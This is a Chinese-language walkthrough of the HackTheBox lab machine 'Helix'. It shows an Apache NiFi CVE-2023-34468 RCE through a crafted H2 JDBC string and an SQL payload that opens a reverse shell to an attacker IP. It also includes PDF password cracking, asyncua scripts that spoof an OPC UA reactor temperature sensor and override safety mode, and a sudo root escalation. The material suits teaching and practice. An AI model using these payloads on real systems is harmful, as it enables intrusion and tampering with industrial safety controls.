HackTheBox Helix Writeup
HackTheBox Helix 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。
枚举
rustscan -a 10.129.33.25 --ulimit 5000 -- -sC -sV -T4 -oN nmap_result.txt
分析nmap结果
- 22:普通的ssh端口
- 80:运行一个静态网站
虚拟主机
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -ac
得到flow
打开网站得到WebApp和版本号:NIFI 1.21.0
在 Apache NiFi 1.21.0 及以下版本中,最著名的安全漏洞是 CVE-2023-34468。该漏洞允许具有配置控制器服务(Controller Service)权限的认证用户,通过伪造 H2 JDBC 数据库连接字符串来实现远程代码执行(RCE)。
利用
由Al3xx-sec创建的一键shell脚本
下面是手动操作
一:创建并启用 Controller Service(pwn_cs)
右键画布,点击配置
配置添加的Controller Service
"Database Connection URL": "jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;" "Database Driver Class Name": "org.h2.Driver"
"Database Driver Location(s)": "work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar"
二:攻击机起一个 HTTP 服务托管 payload
新开终端,创建 rce.sql:
cat > /tmp/rce.sql << 'EOF'
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.16.82/4444 0>&1');
EOF
cd /tmp && python3 -m http.server 80
监听反弹 shell
nc -lvnp 4444
三:创建 ExecuteSQL Processor
配置Processor
"Database Connection Pooling Service": "pwn_cs", "SQL select query": "RUNSCRIPT FROM '\''http://10.10.16.82/rce.sql'\''"
最后启动 Processor 触发 RCE
USER
support-bundles文件夹中有operator的私钥
operator 主目录下发现两个关键文件:
control systems diagram.pngOperator Control & Safety Guide.pdf其中 PDF 为加密文件。
先使用 pdf2john 提取 Hash:
pdf2john 'Operator Control & Safety Guide.pdf' > pass
然后使用 john 爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt pass
得到密码:
operator1
随后成功解密 PDF:
qpdf --password=operator1 --decrypt \
'Operator Control & Safety Guide.pdf' \
guide.pdf
或者:
pdftotext -upw operator1 \
'Operator Control & Safety Guide.pdf'
OPC UA 信息泄露
PDF 中泄露了:
-
Reactor 控制逻辑
-
Safety Trip 条件
-
Maintenance Window 条件
-
CalibrationOffset 行为
并给出了 OPC UA 相关信息:
opc.tcp://127.0.0.1:4840/helix/
文档中提到:
-
CalibrationOffset -
Mode -
TestOverride -
Maintenance Window
这是后续利用关键。
OPC UA 枚举
使用 asyncua 连接:
pip install asyncua
编写枚举脚本:
import asyncio
from asyncua import Client
ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"
async def main():
async with Client(url=ENDPOINT) as client:
objects = client.nodes.objects
children = await objects.get_children()
for child in children:
browse = await child.read_browse_name()
print(browse.Name)
print(child.nodeid)
asyncio.run(main())
发现:
Plant
NodeId: ns=2;i=1
说明业务逻辑位于:
ns=2
完整 PLC 结构
继续枚举:
Plant
├── Reactor
│ ├── TemperatureRaw
│ ├── Temperature
│ ├── Pressure
│ └── CalibrationOffset
│
├── Safety
│ ├── RodsInserted
│ ├── EmergencyCooling
│ └── TripActive
│
└── Control
├── Mode
├── TestOverride
└── ResetTrip
关键 NodeId:
| Variable | NodeId |
|---|---|
| TemperatureRaw | ns=2;i=3 |
| Temperature | ns=2;i=4 |
| Pressure | ns=2;i=5 |
| CalibrationOffset | ns=2;i=6 |
| Mode | ns=2;i=12 |
| TestOverride | ns=2;i=13 |
CalibrationOffset 漏洞分析
文档中:
CalibrationOffset introduces controlled bias
说明:
CalibrationOffset
本质是:
传感器校准偏移
而不是:
真实加热 Reactor
编写测试脚本:
import asyncio
from asyncua import Client
ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"
async def main():
async with Client(url=ENDPOINT) as client:
offset = client.get_node("ns=2;i=6")
raw = client.get_node("ns=2;i=3")
temp = client.get_node("ns=2;i=4")
for i in range(1,16):
await offset.write_value(float(i))
await asyncio.sleep(1)
r = await raw.read_value()
t = await temp.read_value()
print(f"RAW={r}")
print(f"TEMP={t}")
print(f"DIFF={t-r}")
asyncio.run(main())
结果:
Offset = 12
RAW TEMP = 283
TEMP = 295
说明:
Temperature = TemperatureRaw + CalibrationOffset
而:
TemperatureRaw
未发生变化。
漏洞本质
这是:
ICS Sensor Calibration Vulnerability
即:
伪造 PLC 读取值
系统通过:
Temperature
判断:
Maintenance Window
而不是真实值:
TemperatureRaw
进入 Maintenance Window
文档说明:
Maintenance Window
≈ 295°C
因此:
await offset.write_value(12.0)
即可进入窗口。
完整脚本:
import asyncio
from asyncua import Client
ENDPOINT = "opc.tcp://127.0.0.1:4840/helix/"
async def main():
async with Client(url=ENDPOINT) as client:
mode = client.get_node("ns=2;i=12")
override = client.get_node("ns=2;i=13")
offset = client.get_node("ns=2;i=6")
await mode.write_value("MAINTENANCE")
await override.write_value(True)
await offset.write_value(12.0)
while True:
await asyncio.sleep(1)
asyncio.run(main())
Linux 提权
查看 sudo 权限:
sudo -l
得到:
(root) NOPASSWD:
/usr/local/sbin/helix-maint-console
查看脚本:
cat /usr/local/sbin/helix-maint-console
发现:
FLAG="/opt/helix/state/maintenance_window"
脚本会检查:
当前时间 < maintenance_window 文件中的时间戳
若成立:
systemd-run /bin/bash -p -i
直接获取:
root shell
ROOT
保持 Maintenance Window 打开后:
sudo /usr/local/sbin/helix-maint-console
成功获得:
root@helix